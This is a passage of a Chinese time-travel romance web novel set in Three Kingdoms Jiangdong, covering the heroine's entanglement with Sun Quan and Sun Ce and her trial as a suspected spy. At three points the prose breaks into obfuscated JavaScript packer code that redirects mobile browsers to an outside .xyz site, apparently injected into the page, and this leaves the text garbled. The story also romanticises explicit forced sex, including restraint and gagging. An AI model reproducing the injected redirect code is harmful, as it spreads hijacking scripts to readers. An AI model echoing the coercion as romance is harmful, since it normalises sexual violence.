午后在廊庑下的谈话忽地闯入脑海,步一乔眉头凸凸蹙了蹙。 “所以你是因为我说喜欢伯符……就变成这样的?” 青春期的男孩子就麻烦。 步一乔赶忙拨开孙权的手,往一旁挪了挪,道:“别别别,你还是原本的样子好。” “好又如何,谁叫你喜欢的是兄长……”孙权小声嘟囔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孙策一如她想象中那般英雄盖世、光芒万丈。在他面前,步一乔总是下意识地端庄淑雅、充满仰慕。她不敢暴露自己现代散漫的灵魂,不敢说那些离经叛道的话。 “为什么和伯符在一起,像在完成一场偶像见面会?而和那个讨厌的孙权在一起时,我却可以肆无忌惮地做回那个满嘴脏话、脾气暴躁的步一乔?” 好神经的自己。 不,肯定是孙仲谋讨人厌的原因!一定是! * “嫂嫂。” 廊下传来清脆的声音,步一乔抬头,正对上孙尚香笑盈盈的眼睛。 “尚香?话说你方才叫我什么?” 孙尚香蹦跳着走近,理所当然道:“反正姑娘迟早要嫁进我们家,提前叫声嫂嫂,习惯习惯。” 步一乔失笑,摇了摇头:“找我何事?” “仲谋找你有事儿。” “孙权?找我?” 步一乔微微一怔。这个时辰,莫非是有什么急事?可看孙尚香神情轻松,倒又不似紧要模样。 廊下两人牵手并行,步一乔正暗自嘀咕,却听孙尚香忽然偏头发问:“说来嫂嫂为何从不称呼仲谋为仲谋,一直以姓名相称?” 步一乔喉间一噎。总不能直言因为知晓日后孙权对孙策不公,自己始终心存芥蒂吧? 她略一沉吟,随口搪塞道:“因为‘仲谋’念着绕口,‘孙权’比较顺口。” “原来如此。”孙尚香恍然点头,一副全然信了的模样。 待将孙尚香送回房休息后,步一乔才转身走向孙权的住处。 院内寂静,唯有他房中亮着一盏孤灯,昏黄黯淡。她轻叩房门,却无人应答。再叩,依旧一片沉寂。 见门扉虚掩,步一乔犹豫一瞬,终是推门而入。 “孙权?你找我有事?” 突然,房门紧闭,蜡烛熄灭。阴森森的空气中,只能听见自己的呼吸声。 “孙权?是你吗?孙——” 话未说完,一双手自黑暗中猛地攥住她的手腕,将她强硬地转过身。下一刻,带着灼热气息的吻重重压下,封缄了她所有惊呼。 湿热的舌尖擦着唇瓣探入,惊起颤栗,溢出呜咽。 步一乔徒劳地挣扎,双手却被他一只大手轻易钳制,牢牢固定在头顶。 “孙……权唔——” 胡乱无章法的吻,竟让步一乔生出恐惧。 眼前之人……还是孙权吗? 孙权的另一只手则紧紧撑在她腰后,将她更彻底地压向自己,让她清晰地感受到他胸膛下剧烈的心跳和衣衫下紧绷的肌肉线条。 每一次呼吸的起伏,都让两人身体的摩擦变得更加清晰而磨人。 熟悉的声线贴着她的唇响起,低哑而偏执。 “为何总是兄长?我在你眼里到底是什么?” “是你先强吻我,是你先招惹我,是你先说要我的……为何又口口不离兄长的姓名?” “步一乔……一乔……是你对不起我。” “直到天明之前,我不会放你出去的。” 8. 涟漪 “孙权你!” 他却恍若未闻,只低头将鼻尖深深埋入她的颈窝,如同濒死之人汲取最后一缕空气般,贪婪地吸入她的气息。 “等一下!” 步一乔偏头躲闪。 “你看清一点!我是谁!” 孙权的唇瓣几乎贴着她的肌肤低语,温度滚烫得可怕。 “我看得比谁都清楚。步一乔……你到底知不知道,我等这一天,等了多少年?” 他在说什么胡话呢! 步一乔用力推拒着他坚实的胸膛,却如同蚍蜉撼树,撼不动一寸一分。 “我不过来江东一月不到,讲些什么胡言乱语!你起开!孙权!!” “你叫我仲谋,快!像叫兄长那般,唤我仲谋!” 近乎偏执的急切,滚烫的唇再次落下,不再是单纯的撕咬,而是带着某种惩罚性的啃噬,沿着她的下颌线一路蔓延至脆弱的锁骨。 唇齿交缠间,他的手并未停歇。 略微粗糙的指腹带着灼人的温度,从她交叠的衣领处探入,隔着最后一层单薄布料,在她腰侧敏感处留下令人战栗的触感。 衣带被轻易扯开,那只手便沿着她光滑的脊骨一路向上,带着不容抗拒的力量摩挲过肩胛骨,侧颈……最终停留在她的下颌,强迫她承受这个更深、更窒息的吻。 步一乔被牢牢禁锢在床榻木板与他滚烫的身体之间,动弹不得。 “你走开啊!你……好痛!孙权!真的好痛……啊……” 烈火燎过原野,从未接受过洗礼的枯草愈燃愈旺。生涩而急躁的探索非但未能安抚,反而激起了更强烈的颤栗。 逐渐失焦的眼中,步一乔恍惚看见白色的什么被丢弃落地,杂乱地堆在两双鞋边。 孙权翻过身,取来什么东西。 “什呜——” 微凉的丝绸猝不及防地塞入口中,彻底堵住了她所有的声音,只剩下破碎的呜咽在昏暗的室内回荡。 “你答应唤我仲谋,答应今晚不会从我身边逃走,我就拔出来。” 他喘息着,跪立在她上方,犹如数年后统领东南的吴王,不容侵犯。又如可怜偏执的苦情人,哀求着。 “呜呜呜呜!!” 不用猜,那被堵住的嘴里吐出的绝不会是什么好话。 孙权抿紧嘴唇,看着她泛红的眼眶和愤怒的眼神,心底蓦地生出一丝悔意。 把嘴堵住,还怎么吻下去? 无可奈何,他终究还是伸手欲将那绣帕取出。 “你居然……有这种爱好吗?”步一乔喘息着问前方之人,“变态……那史册上只说你嗜酒如命,少年英气,没说你呜——” 话未说完,绣帕再次被毫不留情地塞了回去,甚至比之前更深更紧实。 “不许你再说话了。” 孙权近乎恼怒地扯开自己的衣襟,外袍与中衣相继落地,露出紧实而年轻的身躯。薄汗覆盖全身,在黑暗中泛着微光,随着他急促的呼吸起伏。 他俯身压下,滚烫的皮肤贴上步一乔的瞬间,两人皆是一颤。 稚嫩与稚嫩碰撞,先柔后刚。 他像是初次探索疆域的领主,生涩却固执,毫无章法地在她颈间索取。脑中一片空白,只剩下本能驱使着他愈发用力地深入,仿佛要将这些时日所有说不出口的焦躁、妒忌与渴望,全都倾注在亲吻里。 齿尖不经意擦过她的,引来她细微的抽气,他却误以为是抗拒,反而更用力地禁锢住她,手指深深陷入她。 黑暗中只剩下彼此交错灼热的呼吸,以及某种无声却汹涌的、几乎要将两人吞没的情绪。 “唔……唔!” 步一乔开始剧烈挣扎,脸颊因缺氧而泛红,双手慌乱地拍打着他的胸膛和手臂。 孙权这才惊觉,急忙将绣帕取出。 “不行……我喘不上气……要死了……”她大口呼吸着新鲜空气,眼角沁出生理性的泪珠。 他没有回答,而是猛地将她紧紧搂入怀中,手臂收得极用力,两人严丝合缝地贴紧。 是想勒断我的肋骨吗?!步一乔在心底呐喊。 “我心悦于你,为何你始终不肯正眼看我?”他埋首在她颈间,声音闷闷的,带着一种近乎痛苦的困惑。 “啊?” 步一乔下意识地发出一个单音,大脑被这突如其来的直球告白打得宕机。 愣了好几秒,她才难以置信地、傻乎乎地反问: “你……还真喜欢我啊?” 孙权闻言,像是被这句话彻底点燃了怒火,猛地夺过绣帕又一次塞回她嘴里,动作又快又狠。 “笨蛋!” 眼瞅着有什么即将发生,步一乔也不知哪来的力气,猛地挣脱开他一只手的桎梏,一把扯下口中湿漉漉的绣帕。 “等一下!” “不等!”嘴上说着恶劣的话,动作却稍有停滞。 “不行!你这么搞,我要是怀孕了怎么办!” “那就怀,我娶你,明日便娶你。” “怀你个头啊!不可以!”步一乔简直要疯了。 孙权没好气地撑起身子,居高临下地瞪着她,烦躁地咋了下舌。 “你到底要不要我进去?” 紧绷的额角显示他已濒临失控边缘。 步一乔的愤怒凝固在脸上,而后笑喷出来,给自己呛着。 “噗嗤——从你口中听到这话,真的好有意思。有个时空混乱的感觉……欸欸欸!你干嘛!呜呜呜呜呜!” 一只大手再次严严实实地捂住了她的嘴。 “捂住你的嘴,话太多。” * 天光刺破窗棂,步一乔猛地惊醒。 浑身像是被碾过般酸疼,她怔忡片刻,昨夜破碎的记忆才如潮水般汹涌袭来。 她倒抽一口冷气,猛地坐起身。 锦被滑落,露出底下暧昧的红痕,而身旁,孙权正安然沉睡,一只手臂还环在她的腰间。地上散落着他们凌乱的衣衫,空气中弥漫着未曾散尽的、旖旎而混乱的气息。 这一切都在无声地宣告着昨夜的真实。 步一乔脑中嗡鸣,一股混杂着惊怒、羞耻和难以置信的情绪直冲头顶。她几乎是粗暴地甩开他的手臂,一巴掌将人从梦中扇醒。 “孙权!起来!” 孙权被她惊醒,初时还带着一丝朦胧睡意,但在对上她燃着怒火的双眸时,瞬间清明。 “看你昨夜都做了些什么?!” 孙权撑坐起身,锦被滑至腰际,露出线条分明的上身。他并未回避她的目光,平静中毫无悔意。 “做了我一直想做的事而已。况且昨夜你后来,并非全然抗拒。” 步一乔脸颊猛地烧红,语塞片刻,更是恼羞成怒。 “你趁人之危!你与伯符真是截然不同!不,该是全然无法相比!你永远不可能成为你兄长那般的人!” 这句话似乎刺痛了他。 孙权面色倏地一沉,周身那点稀薄的暖意瞬间敛去,眼神变得冷冽而锐利。 “是,我自是与兄长不同。” 他猛地逼近,手指叩紧步一乔的双肩,将她直直逼靠上床榻后方的屏风。 “可你的眼里只有兄长!既然无论如何都比不上兄长,那我做一次小人,又如何?” 步一乔被他眼中从未见过的、几乎要噬人的暗涌惊得一时愣住,忘了挣扎。 孙权死死盯着她怔忡的表情,片刻后,像是骤然耗尽了所有力气,猛地松开了手,转身不再看她。 他径自下榻,背对着她拾起地上的衣物,一件件沉默地穿上。 “事已至此,随你如何想。若要告予兄长或母亲,悉听尊便。” 他系好衣带,声音恢复了一贯的冷清,听不出情绪。 说完,他未再回头,径直拉开房门,刺目的晨光瞬间涌入。 “孙权!你给我滚回来!” 步一乔猛地抓过散落的锦枕,狠狠砸向那即将消失的背影。 沉重的枕头在半途落地,孙权回眸望向坐在凌乱中欲要哭出来的步一乔,娇弱的身躯微微发抖,嫩白的皮肤上还留有自己的痕迹,眼圈泛红,唇瓣紧抿,心软得一塌糊涂。 “别哭……” “你他妈要是赶走,老娘立马哭!” 孙权站在原地,沉默地看了她片刻。最终,所有复杂的情绪都化作一声几不可闻的叹息。他认命般地转身,合上那扇险些隔绝两人的房门,将喧嚣的晨光重新关在门外。 室内回归一片暧昧的昏暗。 他悻悻地走回床榻边,依言坐下。闪躲的眼神时不时看向一直盯着自己的步一乔。 “别哭,我不走。” 步一乔见他这副逆来顺受的模样,心头火气更盛,扬手便欲朝他脸上挥去。 手腕却在半空被猛地截住。 孙权的手掌温热而有力,牢牢箍住她的腕骨。他看着她,眼神复杂,却并未言语。 “放手!” 对峙片刻,孙权竟真的依言松开了手,甚至缓缓闭上了眼睛,已然坦然接受,无论是她的怒火还是她的巴掌。 然而,空气凝滞,预想中的疼痛并未降临。 孙权听到一声极力压抑的、细碎的哽咽。他迟疑地睁开眼,看见步一乔扬起的手僵在半空,颤抖着,最终无力地垂落。 断了线的眼泪从她通红的眼眶中无声滚落,悄无声息地没入凌乱。 她终究还是没舍得打下去。 孙权怔住了,望着她那副强忍着哭泣、委屈又脆弱的模样,心口像是被最柔软的羽毛狠狠剐过,酸胀得无以复加。 他下意识地伸出手,指尖轻轻触上她湿润的脸颊,动作笨拙却又珍惜,为她拭去滚烫。 “别哭。别哭。” 他低声重复着,小心上前拥住颤抖的身躯,安慰着抚摸她的发顶。 “是我的错,你打我吧,骂我吧,都行。只要……” 喉间哽住,孙权抽了抽鼻子,将哭脸埋在步一乔肩头。 “别去兄长那儿……只许我一人……” 步一乔身体僵着,先前积压的委屈、慈悲和此刻肩头的湿热混在一起,非但没有化作心软,反而猛地窜起一股无法遏制的怒火。 他凭什么哭? 被骗来此处、强迫与他行这等欢愉之事的是她! 心口那点柔软的触动被烧得干干净净。步一乔猛地吸了一口气,用尽全身力气将拥抱着自己的男人推开! 下一秒,清脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467243|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的掌掴结结实实地落在他的脸上! 步一乔手心发麻,胸口剧烈起伏,瞪着他的眼睛里是未干的泪,更是灼人的愤怒。 她决然披衣离开,再不多看僵在原地、脸颊迅速泛红的人一眼。 * 午后的巷陌寂静无声。 步一乔没有遗忘此行的目的,左右环顾一圈,敲响眼前破旧的木门,向开门来的小孩儿说明自己的来意。 “我与许公曾是同乡,听闻其公子与门客暂居于此,特来问候。” 小孩儿诧异地望着步一乔,随后,一名青年男子匆匆赶来。兴许是听到了方才步一乔的话,一双警惕而浑浊的眼睛上下打量着她。 “许公从未提过有姑娘这般年纪的同乡。” 步一乔从容一笑道:“乡野女子,确实不足挂齿。看在诸位尚且安康,我也放心了。不便打扰,就此告辞。” “站住。” 门缝开大了一些,男子侧身让她进去。 屋内灯光昏暗,烟雾缭绕,另有两人围坐在一张矮桌旁,见生人进来,立刻停止了谈话。 步一乔手心沁出冷汗,知道自己踏入了真正的龙潭虎穴。她稳住心神,在距离门口较近的位置就座。 “望诸位神情,想必是在商讨如何杀死孙策一事吧?” 三名男子在自己对面落座,眼底藏不住的杀气和质疑。 “姑娘自说是许公同乡,我看,其实是那周瑜派你来的吧?” 步一乔眉梢微挑:“为何?” “周瑜狡诈,孙策悍勇,二人联手必成心腹大患!此二人不除,我等日夜难安!” “我知道诸位心怀旧主,但冤冤相报何时了?许先生之事已成定局,何必再添血债,枉送性命?若诸位肯就此罢手,或许……” “闭嘴!” 桌旁一个满脸凶悍的大汉猛地一拍桌子,霍然起身,逼近步一乔,眼中杀意毕露。 “你果然是孙策派来的探子!” 另一人也阴恻恻地接口:“大哥,跟她废话什么?自己送上门来,正好祭奠许公在天之灵!” 步一乔面上平静,内心却慌乱得不行,脑中飞速旋转思考脱身之计,继续挑衅道:“不,您误会了。我与孙策或是周瑜都毫无关系,只是想到江东未来会毁在诸位手中,提前来消除隐患罢了。” 大汉的刀已出鞘半寸,寒光凛冽,但她依旧端坐不动,只是微微抬高了声调道:“这一刀下去,许公就再也不是心怀故主的谋士,而是板上钉钉的叛臣逆贼!” 刀锋顿在半空。 步一乔目光如炬扫过对面三人道:“诸位今日若杀了孙策,明日江东便会彻查此案。届时史书工笔,许公全族都将被定为叛党,千秋万代永世不得翻身!莫非这就是诸位想要的忠义?” 持刀的手微微颤抖,男子猛地按住大汉的手臂:“且听她说完。” “许公当年因私通外敌获罪,尚存争议。若你们此刻动手,就是坐实了他的罪名。让他从一场政见之争的牺牲品,变成遗臭万年的叛臣。” 她环视三人剧烈变幻的神色,知道话语已奏效。 “是保全许公最后的清名,还是让他永世背负叛贼骂名?诸位都是明理之人,当知如何抉择。” 步一乔缓缓起身,理了理衣襟,告辞离开。 当她转身推门时,身后传来长刀重重归鞘的声响,伴随着一声压抑的叹息。 直到拐出巷口,确认安全,步一乔才靠在墙边,缓缓吐出一口一直提着的气,后背已被冷汗浸湿。 “话疗肯定是起不了作用的,至少先压制住……” “你好大的胆子!” “嗯?呜——” 头顶落下黑色的麻袋阻隔步一乔的视线。感觉到身体被粗绳五花大绑,被人扛着奔向什么地方。 再次看清眼前情形时,人已换了地方,回到了熟悉的宅院。 “放开我!” 那个绑她来的男人强压着她跪下,向座上之人抱拳禀报: “主公,我清楚地看到这个女人去见了许贡的小儿子与门客,且在屋内逗留许久,定是与逃脱的贼人商议如何造反!” “你跟踪我还血口喷人!” “那你说!为何去见贼人余党!” “我是去——” 话到嘴边,却蓦地断在原地。方才还言辞凌厉的步一乔,此刻竟一个字也说不出口。 孙策放下手中的布帛,一步步走到二人面前。 “吕蒙,你将所见再说一遍,仔细说。” 于是,叫吕蒙的男人将他所看到的毫不添减地陈述了一遍。从步一乔走向那间屋子起,直到离开。整个过程,吕蒙都躲在暗处看在眼里。 孙策看向步一乔。 “他说的,可是实话?” 步一乔不会说谎,点头承认。 孙策长长叹了口气,背过身去,取来自己的佩剑,走到步一乔身后。手起刀落,吓得步一乔身体骤然紧绷。 却只听见绳结断裂的声响。手腕与脚踝的束缚应声而落。 得、得救了? “给你逃跑的机会。” “什么?”步一乔难以置信地回头看向孙策。 “若被吕蒙追上,杀之。” 9. 蝶梦 孙策话音刚落,吕蒙便举起手中貌似屠夫的砍刀直逼步一乔而来。 寒光乍现,刀锋距她的天灵盖仅差毫厘,险些将她一分为二。 步一乔翻转着滚到一边,发丝被削下几根,宽大的袖摆被吕蒙落下的砍刀破坏。 啧,古人的衣服就是碍事! “我是敌是友将军莫非看不出吗!”步一乔吼道。 孙策负在身后的手攥紧,垂眸避开她灼灼的目光。他亲眼见过她眼底的赤诚,明知她不会是细作,但此刻却必须硬起心肠。 “军令如山。” 孙策吐出这四个字,声音沉郁如铁,仿佛不是在判决她,而是在禁锢自己内心某处即将崩裂的角落。 说给旁人听,也说给自己听。 他是万军之将,他的身份、肩上的责任,不许他有丝毫的私情与包庇。他甚至不敢再看步一乔一眼,生怕多看一眼,艰难筑起的心理堤坝就会彻底溃决。 话音未落,吕蒙的第二刀已至。 求生的本能压倒了一切。 她猛地向侧后方仰倒,狼狈就地手脚并用向旁爬去。冰冷的刀锋几乎擦着她的臂膀掠过,重重劈入她方才之地。 顾不上疼痛,屁股摩擦地面后退,呼吸急促,眼中只剩那柄索命的凶器。 “将军!” 步一乔手指扣紧地面。 “我不是细作,我不是任何人派来的细作!但我也无法解释自己为何去见许贡的门客……将军不必伤感或者自责,我从未做背叛你的事,你也……没有。” 话音落,吕蒙第三刀又起,步一乔不再停留,转身朝屋外疾奔而去! * 步一乔踉跄冲出厅门,身后吕蒙的脚步声如影随形。孙策在她逃离后仍然站在原地,久久未动。 她发足狂奔,穿过回廊、踏碎花枝,温热却寒彻骨的风刮过耳畔,却吹不散身后那股几乎凝成实质的杀意。 步一乔这辈子没跑那么快过,感觉喉咙快撕裂开得疼。 该往哪儿跑?!从哪里可以逃出去! 地牢吗?不行!卧房?更不行! 最终,她被逼至大门,沉重的府门早被人落锁,高墙环绕,再无退路。 有人早料到她会逃,提前断了她的去路! 步一乔眼瞅着逃无可逃,在锁死的院门前站定回身面对他。 吕蒙握着刀走来,神色平静眸色无光。 “是周瑜叫你跟踪我的,是不是?” “得亏公瑾瞧你形迹可疑,特命我暗中盯着。果然被他料中,你个袁术派来的细作!” “我再说最后一次,我不是袁术的人。” “我才不管你是什么。蛊惑人心,来路不明,主公为何不下令杀你,这便是最好的证明。” 步一乔无语,朝吕蒙翻了个白眼。 “他不杀我,说明我是好人!伯符能明辨是非,你追随他多年,这点分辨之力还没学会吗!孙权叫你读的书都白读了吗!” “你连此事都知!还敢说不是细作!老实交代,你给袁术送去了多少情报!” “这事营中谁人不知?吕子明,你莫不是练武练傻了?” “住嘴妖女!受死吧。” 吕蒙的刀锋挟着寒意,迫近步一乔的咽喉。 就在这千钧一发之际,一个清朗而沉稳的声音自廊柱后的阴影中传来: “子明,住手。” 吕蒙刀势一滞,与步一乔同时循声望去。 周瑜缓步从暗影中走出,神色平静无波,似乎早已在此静观多时。 步一乔在此见到周瑜一点不意外。或者说,那个早料到并断了她去路的人,正是周瑜。 “公瑾?” 吕蒙虽依言未再进逼,但刀仍未归鞘。 “此女行迹鬼祟,意图不轨,必是袁术细作无疑!为何阻我?” 周瑜并未立刻回答吕蒙,目光先是落在步一乔身上,将她略显狼狈却依旧强作镇定的模样收入眼底,唇角牵起一丝了然的弧度,这才转向吕蒙。 “刀下留人,非为阻你。在她死之前,尚有些话,需得问个明白。” 他向前踱了一步,重新锁回步一乔苍白的脸上。 目光锐利,似要穿透她的灵魂,却又奇异地夹杂着一丝近乎悲悯的审视。 “步姑娘,我知道你的身份。自己交代吧,不必再做无谓的遮掩。” 步一乔轻笑,道:“周公子不妨先说说,我什么身份?” “你既能知晓许贡的残余躲在何处,还能安然无恙的从里面走出来,足以见得步姑娘并非寻常女子。” “多谢周公子夸奖。” “若你并非细作,我猜,你大概是去劝阻其莫要谋划刺杀伯符。对吗?” “那如果我是呢?” “那答案便反过来。” 步一乔唇角弯起,“不愧是周瑜,就是聪明。既然你都猜到了,可以放我走吗?” “但还有一事,我不明白。你究竟如何知道他们藏身于何处?如何知道他们的轨迹,以及……” 周瑜目光陡然锐利。 “北上突袭许都,迎奉汉帝之事?” 步一乔轻挑眉梢,“原来是因为这个。” 想必那日自己将话告知与孙策后,纳了闷的孙策转头就找周瑜商讨了吧。 也是,秘密商讨的事,被一个妇人知晓,确实奇怪。 “我承认你确实有几分姿色,不怪伯符和仲谋都倾心与你。但你知晓的事情太多,且毫无线索查明你是如何知晓的。” “我自有我的渠道。” “生死关头也叫你无法一一说明?” “……是。” 周瑜逼视着她的眼睛,甚是不解。 恰在此时,一阵急促的脚步声由远及近。孙策疾步而来,眉宇间凝着沉重的忧色。 步一乔眼中蓦地泛起一丝希冀的光。 “孙策将军!” 孙策闻抬眸 步一乔扬起一如既往温柔的笑。 “你信我的,对吗?” 孙策双唇紧抿,握剑的手背上青筋隐现。他久久不语,不知如何语。 步一乔急切向前半步道:“我真的不是细作,不是来害将军的。我知晓许贡的门客正谋划行刺将军一事,且时日将至,故此只身去寻。与他们说明了事情的利害,劝他们不要轻举妄动。” “可这些……你又如何得知的?” 孙策的目光深沉如夜。 步一乔垂下眼帘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467244|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “抱歉,唯独这,我无法直言。” 孙策闭上双眼。 步一乔凝望着他脸上那近乎绝望的神情,忽然明白了什么叫做心如刀绞。所有的辩解都已苍白无力。 “罢了……” 她长叹一口气,语气里带着说不尽的疲惫与释然。 “要杀就杀吧,我不想再说话了。” 她不愿再说,也不忍再看那双曾经盛满温柔,此刻却只剩失望的眼眸。 “吕蒙。” 周瑜说着,退至阶下,走到孙策身前掩去。 “动手。” 渐暗的天色中,步一乔望了眼逐渐阴霾的天空。 腰上的肌肉还隐约作痛,昨夜在那人卧房中的一幕幕划过脑海。肩膀上的吻痕应该还在吧?大腿后侧估计也还有指印。 初夜啊…… 她也想起了一千多年后的亲友。 如果当年她没有填报历史系,没有喜欢上孙策,听到教授说穿越毫无兴趣……这一切是不是就不会发生? 这会只是我的无端妄想吗?步一乔心想。总觉得还得跟孙权说上两句再离开。 可是……说什么呢? 即便自己跟他睡了,心底喜欢的人依旧是他哥吗? 好讽刺、幼稚的话。 眼前的刀刃举过头顶,步一乔挫败地低下头,呆呆地望着砖缝间折出淡淡的光边。 由此去罢。 * 预想中撕裂的剧痛并未降临。 取而代之的是一声利刃割开皮肉的闷响,以及一声压抑的、她似乎听过的闷哼。 一道身影冲来挡在了她的身前,硬生生截断了索命的寒光。 众人皆愕然看向拦在吕蒙与步一乔中间的人,利刃在他身前划开一条不算太深的口子,鲜血转眼染透层层衣襟。 来者低下头,怔怔地看着吕蒙手中的刀刃上流着自己的鲜血。又回过头,看向身后安然无恙、满脸惊愕的步一乔。 欣慰一笑。 愧疚感排山倒海般袭来,瞬间淹没了步一乔。 “你为何……” 她感知到自己的所有在发抖,破碎得不成样。 来者颤巍巍地伸出手,似乎想确认她是否安好。 步一乔从巨大的惊骇中惊醒,几乎是扑上去紧紧抓住了他的手,用尽全身力气支撑住他下滑的身体。 紧攥的掌心在她纤细的手上停留片刻后,随即力竭般垂落。 三人:“仲谋!” 步一乔:“孙、孙权?孙权!!” * 步一乔什么都听不清了,她的视线死死锁在孙权迅速失去血色的脸上,看着他无力地倒向地面。 前所未有的恐慌和刺痛攥紧了她的心脏。 她跟着孙权滑落的身子一同跪倒下去,喉咙被堵住发不出任何声音。 只有滚烫的泪水毫无预休止地夺眶而出,砸在孙权染血的衣襟上。 不是假的。 温热的血,沉重的身躯,为她而受的伤……都不是她现代记忆里冰冷的文字和想象。 感动、悔恨、恐惧……无数情绪最终汇成一声哽咽在喉间的、几乎听不清的低唤: “……孙权……孙权你别死啊!” 10. 云何住 室内寂静,唯闻竹简轻响。 步一乔从侍女手中接过药盏,走至少年榻前。 看着孙权毫无血色的脸,步一乔脑海中闪过那日他胸口绽开血花的画面,如同梦魇,夜夜纠缠,无法安眠。 她甚至不敢闭上眼睛,一闭眼就是他一脚踏入阎王殿,还关心自己的笑颜。 为什么是你?为什么偏偏是你……伯符死了,我还能告诉自己那是无法逆转的历史因果。可如果你死了,这就是我步一乔亲手造的孽!我拿什么还?这条命吗? 沉重的愧疚感自责感如绞命的绳索,缠得她喘不过气。她照顾她,近乎一种自我惩罚,仿佛只有这样,心里的负重才能减轻一丝一毫。 步一乔悄然坐下,取走他指间的书卷,又替他理好微乱的衣袖。 “养病就不要学习了。” 孙权苍白的唇抿成一条直线,脸上不见半分笑意。他就着步一乔端来的药碗,直接覆上她捧碗的手背,仰头将汤药一饮而尽。 “闲来无事。”冰冷的话语从冰冷的身体中说出。 步一乔垂下眼帘,犹豫片刻,轻声道:“那我陪你说说话?” “我与你,无话可说。” 孙权蓦地偏过头去,不肯看她。步一乔低低应了一声,作势便要起身。 “行吧,那你专心养病,我走。” 衣袖忽地被扯住。她回眸望去,只见少年将脸埋进垂发的阴影里,只留给她一个通红如血的耳尖,在墨发间若隐若现。 “不是要我走么?”步一乔轻声问道。 孙权依旧不语,唯独攥住她衣袖的手指又收紧了几分。无奈,步一乔只好又坐回去。 她清楚此人为何如此。 那天,孙权冲出来替她挡下那一刀。幸亏吕蒙眼疾手快,收了些力道和方向,没酿成大错。 当时在场听完步一乔和周瑜对话的人,不止有明面上的吕蒙,还有暗处的孙策和孙权。 吕蒙为此事深陷自责,闭门不出数日。直至孙权转醒,特意遣人送去亲笔书信,他才终于肯踏出房门。 孙策暂息杀意,以步一乔“主动提供情报”为由,允留下性命,当即派人清剿许贡余党。奈何迟了一步,待兵马赶至,早已人去楼空。 * “我救了你。” “嗯。” “兄长不会再杀你。” “是。” “但你心底……依旧心悦于兄长。” “……是。” “即便我以命相护,也换不得你心转意?” “人心岂能说变就变?我不愿骗你,更不愿负你。” 欺骗感情,与小人无异。 步一乔内心是愧疚、纠结的。至于那晚为何会与孙权水乳相容、沉沦旖旎,她自己也说不明白。 孙权忘了眼屋外的春光,掀开被褥。身前的纱布上隐约见血,步一乔不由心头抽了一下。 “我去屋外后院散散心。” “我扶你。” 本想说不必,可当步一乔的手挽上自己,孙权实在舍不得说不用。 垂眸便是她的眉眼、睫毛、唇瓣……谁能不动心。 院中花开得正好,流水无声鸟作歌,两个人搀扶着走得很慢,只愿留住春光。 孙权时不时垂眸去看步一乔落寞的神情,反而欣喜。 她在担心自己,她此刻心中是自己,不是兄长。 “怎么了?”步一乔抬眸询问。 因是方才孙权想到高兴的事,喉间泄露了一丝欣喜。她以为是人身体不适,赶忙询问。 孙权偏过头去不语。 步一乔微微蹙眉,手背贴上孙权的脸颊。 “不会感冒了吧?” 猝不及防的抚摸,任谁都会脸红心跳的啊! 孙权心底似有小鹿乱撞,心神不定。 四目相对的瞬间,他恨不得捧着她的脸就这么吻上去。管它礼崩乐坏,在这春色中与她沉溺……未尝不可。 孙权握住步一乔的手,俯身凑近。 吓得她赶忙松开手后撤。 “你……你靠这么近干嘛?” 退后的人的手突然被眼前的少年一把抓住,带往怀中。滚烫的脸庞撞上他炙热的胸膛,挑起一阵更灼热难耐的骚动。 “今晚,你来我房里,还是我过去?” 步一乔眼神躲闪着,推搡着不容抗拒的桎梏。 “胡说什么!你伤未愈病未痊,谁谁哪哪哪儿都不许去。” “不行,必须选一个。” “孙权你!” 恼羞成怒的目光落向盈满情愫和爱欲的双眼,步一乔顿时手足无措、眼神躲闪。 “你若是选不出来,只好立刻,在这儿了。” “啊?!” 凉亭内,冰凉的地板。 受伤的人忘了自己的伤,愧疚的人愧疚更深。 他的膝盖强势地顶入步一乔双腿之间,隔着布料施加压力。却怎么也撬不开,两个人僵持着,面部逐渐狰狞。 孙权:“放、松!” 步一乔:“不、放!” 幸而没又观众,这场面看上去着实有趣得很。 两个人僵持着。步一乔的好胜心刚想发力,忽地想起对峙之人身负重伤,立马泄气。 正好予他可乘之机。 孙权的身躯压下,将她禁锢在自己与亭柱之间。 炽热的呼吸交织缠绕,步一乔从他唇齿间尝到汤药的清苦,以及更深处、某种滚烫而危险的渴望。 她心尖蓦地一颤,猛地将身上之人推开。 “伤得这样重,力气倒不小。” “我是怕……” “怕什么?” “若我就此西去,此生……再难触你分毫。” 步一乔怔住,没好气地轻掐他脸颊。 “说什么呢,你可是要活到七十岁的人啊。” 孙权笑了笑,问道:“那余生的五十年,有你吗?” 步一乔斟酌片刻,轻声开口:“没有。” “嗯。” 孙权闷声应后,收紧手臂,将人环抱得更紧更近。缱绻低语,如暖阳洒落步一乔耳畔。 “所以我才要趁着现在,想尽办法触及你,做个流氓也无妨。” * 周瑜在桌案对面静静跪坐,慢条斯理地拨弄琴弦,动作沉稳又优雅。 接引步一乔的侍女欠身退下后,凉亭中,两个人相对跪坐。周瑜抚琴,步一乔喝茶。 他并未抬眼,温声问道:“步姑娘是从仲谋卧房而来?” 